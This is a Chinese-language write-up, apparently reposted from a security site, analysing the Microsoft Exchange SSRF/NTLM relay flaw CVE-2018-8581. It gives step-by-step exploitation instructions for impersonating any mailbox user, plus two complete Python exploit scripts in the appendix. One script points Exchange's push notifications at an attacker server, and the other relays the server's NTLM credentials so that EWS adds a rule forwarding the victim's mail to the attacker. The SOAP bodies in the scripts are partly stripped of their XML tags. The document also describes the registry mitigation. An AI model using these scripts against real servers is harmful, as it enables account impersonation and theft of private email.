Microsoft Exchange任意用戶偽造漏洞分析
概述
本文將詳細分析Microsoft Exchange的任意用戶偽造漏洞,該漏洞允許任何經過身份驗證的用戶冒充Exchange Server上的其他任意用戶。
來自ZDI的Dustin Childs在不久前曾發表了關於Exchange漏洞的分析文章。儘管該漏洞可以用於某些工作場景的用戶偽造,但更有可能的是,這一漏洞會被攻擊者用於進行網路釣魚、數據竊取或是其他惡意活動。在本文中,將深入分析這一伺服器端請求偽造(SSRF)漏洞的詳細信息,並復現了仿冒用戶的方法。
漏洞詳情
這一用戶偽造漏洞,是由SSRF漏洞與其他漏洞相結合而產生的。Exchange允許任何用戶為推送訂閱(Push Subscription)指定所需的URL,伺服器將嘗試向這一URL發送通知。這一漏洞之所以存在,是因為Exchange Server使用CredentialCache.DefaultCredentials進行連接:
在Exchange Web服務中,CredentialCache.DefaultCredentials會以NT AUTHORITYSYSTEM許可權運行。這將導致Exchange Server將NTLM哈希值發送到攻擊者的伺服器。Exchange Server默認情況下還設置了以下註冊表項:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1
這樣一來,就允許我們使用這些NTLM哈希值進行HTTP身份驗證。例如,可以使用這些哈希值來訪問Exchange Web服務(EWS)。由於它正在以NT AUTHORITYSYSTEM許可權運行,所以攻擊者可以與TokenSerializationRight進行「特權」會話,然後利用SOAP頭部模擬任何想要偽裝的用戶。
漏洞利用
在漏洞演示中,我們會使用到幾個Python腳本:
1、serverHTTP_relayNTLM.py:從入站連接中,獲取NTLM哈希值,並將其用於Exchange Web服務的身份驗證;
2、Exch_EWS_pushSubscribe.py:使用URL,將推送訂閱(Push Subscribe)Exchange Web服務調用到serverHTTP_relayNTLM.py之中。
各位讀者可以在附錄中找到這些腳本的源代碼。此外,還需要Python中的python-ntlm模塊。
漏洞利用的第一步,需要首先獲取我們想要偽裝的用戶的SID。下面,將介紹一種可行的方案。
1、以授權用戶的身份登錄OWA。在這種情況下,我們以「attacker」(攻擊者)的身份登錄。
2、接下來,創建任意新文件夾。我們創建的文件夾名稱為「tempFold」(臨時文件夾)。單擊菜單中的「Permissions...」(許可權...)選項。
4、現在,我們需要按F12鍵,並選擇「Network Tab」(網路選項卡)。之後,再次在新文件夾的菜單中選擇「Permissions...」(許可權...)選項。
5、我們需要檢查第一個service.svc?action=GetFolder請求的響應。要查看該內容,需要導航至:
Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID
其中的N,在示例中是2(最近的一個),但在各位讀者的實際嘗試過程中,可以檢查所有值,從而找到正確的一個。其中的PrimarySmtpAddress,應該是攻擊目標。如果響應中不包含PermissionSet項,那麼我們就應該查看其他的service.svc?action=GetFolder請求。
6、我們將在serverHTTP_relayNTLM.py腳本中使用該SID來模擬受害用戶。此外,我們需要選擇一個不太可能在受攻擊者控制的計算機上被阻止的TCP埠,從而允許Exchange Server進行出站連接。例如,TCP/8080埠看上去是一個不錯的選擇。
現在,讓我們使用真實場景中的信息,來修改serverHTTP_relayNTLM.py中的相應位置。
一旦腳本中具有正確的變數,我們就可以開始接下來的工作了。
7、下一步,是在Exch_EWS_pushSubscribe.py腳本中,設置適當的變數。
完成後,我們就可以執行該腳本。
8、最後一步,我們還需要一些事件來觸發推送訂閱(Push Notification)。為了保持隱蔽性,我們可以等待一段時間,或者執行一些操作,例如編寫並發送新電子郵件、刪除剛剛創建的文件夾等。
如果一切順利,應該可以從Exchange Server接收到我們的serverHTTP_relayNTLM.py地入站連接。
如果攻擊成功,那麼可以在最後一個響應中看到ResponseClass="Success"。這意味著,入站規則已經添加到受害者的郵箱,並且所有入站的電子郵件都將轉發給攻擊者。
檢查攻擊者的收件箱,我們看到,郵件已經成功從受害者郵箱中轉發。
我們可以看到,新的電子郵件將會轉發給攻擊者。通過其他Exchange Web服務API(例如AddDelegate),或者為目標文件夾分配編輯的許可權,也可以實現類似的效果。
漏洞補丁
Microsoft在2018年11月發布的補丁中,對該漏洞進行了緩解,漏洞編號為CVE-2018-8581。但實際上,並沒有針對該漏洞進行嚴格意義上的修復。Microsoft表示,應該刪除某個特定的註冊表項,從而啟用環回檢查。如上文所述,Exchange Server默認設置了以下註冊表項:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1
如果刪除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck鍵值,那麼這一漏洞將無法被利用。要刪除註冊表項,需要在管理員許可權的命令行窗口中,輸入如下命令:
在刪除鍵值後,無需重新啟動操作系統,也無需重新啟動Exchange Server。Microsoft發布的公告指出,在此後Exchange累計更新中,將不會再默認啟動這一註冊表項。
總結
對於攻擊者來說,多年來,Exchange Server一直是一個受歡迎的目標,因為電子郵件已經成為我們工作中的一個核心組成部分。該漏洞允許偽裝成任意用戶,此前報告的一個漏洞還允許任意代碼執行,而這兩個漏洞都向我們展示了,有時最大的威脅時來自企業的內部。此外,這些漏洞還展現了外部攻擊者是如何從單一突破口向整個企業中擴散的。
附錄
Exch_EWS_pushSubscribe.py
#!/usr/bin/python
import socket
import base64
import httplib
import urllib
import os, ssl
from ntlm import ntlm
#You have to replace next values by valid ip/address, port and protocol ("http" or "https")
ip="exch2016.contoso.local"
tcp_port = 443
#PROTO="http"
PROTO="https"
#Credentials of attacker
USER = "attacker"
DOMAIN = "contoso.local"
PASS = "P@ssw0rd"
URL = "/EWS/Exchange.asmx"
#URL of our HTTP server that will use NTLM hashes for impersonation of victim
EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"
#Debug flag:
print_debug_info = 1
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn"t verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn"t support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
def main(ip,port,proto):
#Connection to server
if proto=="https":
conn = httplib.HTTPSConnection(ip,port)
#conn = httplib.HTTPSConnection(ip)
else:
conn = httplib.HTTPConnection(ip,port)
print "Sending "PushSubscription" EWS request..."
#SOAP request with URL pointing to our Evil HTTP server
body = """
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
NewMailEvent
ModifiedEvent
MovedEvent
1
DesktopOutlook
""" +EVIL_HTTPSERVER_URL+"""
"""
#Headers with NTLM NEGOTIATE
ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN+""+USER)
headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
#sending request and receiving response
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
if print_debug_info:
print "[DEBUG]: Received response:"
print response.status, response.reason, "
",response.msg, "
", resp_data
if response.status == 401:
print "
Got 401 response with NTLM NONCE."
print "Trying authenticate current user..."
#Calculation of NTLM AUTHENTICATE response
Nonce = response.getheader("WWW-Authenticate")
(ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):])
ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge,USER,DOMAIN,PASS,NegotiateFlags)
#Adding NTLM response in Authorization header
headers["Authorization"] = "NTLM " + ntlmresponce
#sending request and receiving response
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
if print_debug_info:
print "
[DEBUG]: Received response:"
print response.status, response.reason, "
",response.msg, "
", resp_data
if response.status == 401:
print "
Authentication ERROR:"
print "Cannot authenticate ""+DOMAIN + "/" + USER + "" with password "" + PASS +"""
conn.close()
print "
The Script is finished.
"
return 1
print "Address:
%s:%u
" %(PROTO+"://"+ip,tcp_port)
main(ip,tcp_port,PROTO)
serverHTTP_relayNTLM.py
#!/usr/bin/python
import socket
import sys
import struct
import base64
import httplib
import ssl
import binascii
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
#Port for the HTTP server
#Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py
HTTPPORT = 8080
#You have to replace next values by valid ip/address, port and protocol ("http" or "https") to EWS
target_ip="exch2016.contoso.local"
target_port = 443
PROTO="https"
#PROTO="http"
#Path to EWS
URL = "/EWS/Exchange.asmx"
#SMTP addresses of attacker mailbox (we will receive all emails sent to victim)
ATTACKER = "attacker@contoso.local"
VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"
#Debug flag:
print_debug_info = 1
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn"t verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn"t support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
#EWS request that will add inbound rule in victims mailbox
body = """
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
"""+VICTIM_SID+"""
"""+VICTIM_SID+"""
true
SomeRule
1
true
"""+ATTACKER+"""
"""
#This function takes NTLMSSP_NEGOTIATE and sends value to EWS
#When EWS responds with NTLMSSP_CHALLENGE it will be returned as result of this function
def get_ntlm_challenge(ntlm_negotiate):
headers = { "Authorization": ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
if print_debug_info:
print "[DEBUG]: Received EWS response(get_ntlm_challenge):"
print response.status, response.reason, "
",response.msg, "
", resp_data
if response.status == 401:
Nonce = response.getheader("WWW-Authenticate")
return Nonce
#This function takes NTLMSSP_AUTH and sends it to EWS
#As a result we will be authenticated by EWS as "Exchenge server"
def use_ntlm_auth(ntlm_auth):
headers = {"Authorization": ntlm_auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml","User-Agent": "ExchangeServicesClient/0.0.0.0","Translate": "F"}
conn.request("POST", URL, body, headers)
response = conn.getresponse()
resp_data = response.read()
if print_debug_info:
print "[DEBUG]: Received EWS response(use_ntlm_auth):"
print response.status, response.reason, "
",response.msg, "
", resp_data
#Connection to EWS
if PROTO=="https":
conn = httplib.HTTPSConnection(target_ip,target_port)
else:
conn = httplib.HTTPConnection(target_ip,target_port)
#we will use this to stop our HTTP server after the attack
step=1
class postHandler(BaseHTTPRequestHandler):
#Handler for the POST requests
def do_POST(self):
global step
headers = self.headers
print headers
authHeader = headers.getheader("Authorization")
if not authHeader:
self.send_response(401)
self.send_header("WWW-Authenticate:","NTLM")
self.end_headers()
step=1
else:
if step==1:
ntlm_negotiate = authHeader
step=2;
if print_debug_info:
print "
[DEBUG]: NTLM NEGOTIATE string:"
print ntlm_negotiate
#Sending EWS request with NTLM NEGOTIATE and getting NTLM CHALLENGE
ntlm_challenge = get_ntlm_challenge(ntlm_negotiate)
self.send_response(401)
self.send_header("WWW-Authenticate:",ntlm_challenge)
self.end_headers()
else:
self.send_response(401)
self.end_headers()
ntlm_auth = authHeader
if print_debug_info:
print "
[DEBUG]: NTLM Auth string:"
print ntlm_auth
#Sending EWS requets with NTLM AUTH
use_ntlm_auth(ntlm_auth)
#Let"s stop this script
step=3
return
try:
#Create a web server and define the handler to manage the
#incoming request
server = HTTPServer(("", HTTPPORT), postHandler)
print "Started httpserver on port " , HTTPPORT
while not(step==3):
server.handle_request()
except KeyboardInterrupt:
print "^C received, shutting down the web server"
server.socket.close()
※滲透測試靶機fowsniff通關攻略
※針對Sofacy組織使用Go語言開發的新Zebrocy變體分析
TAG:嘶吼RoarTalk |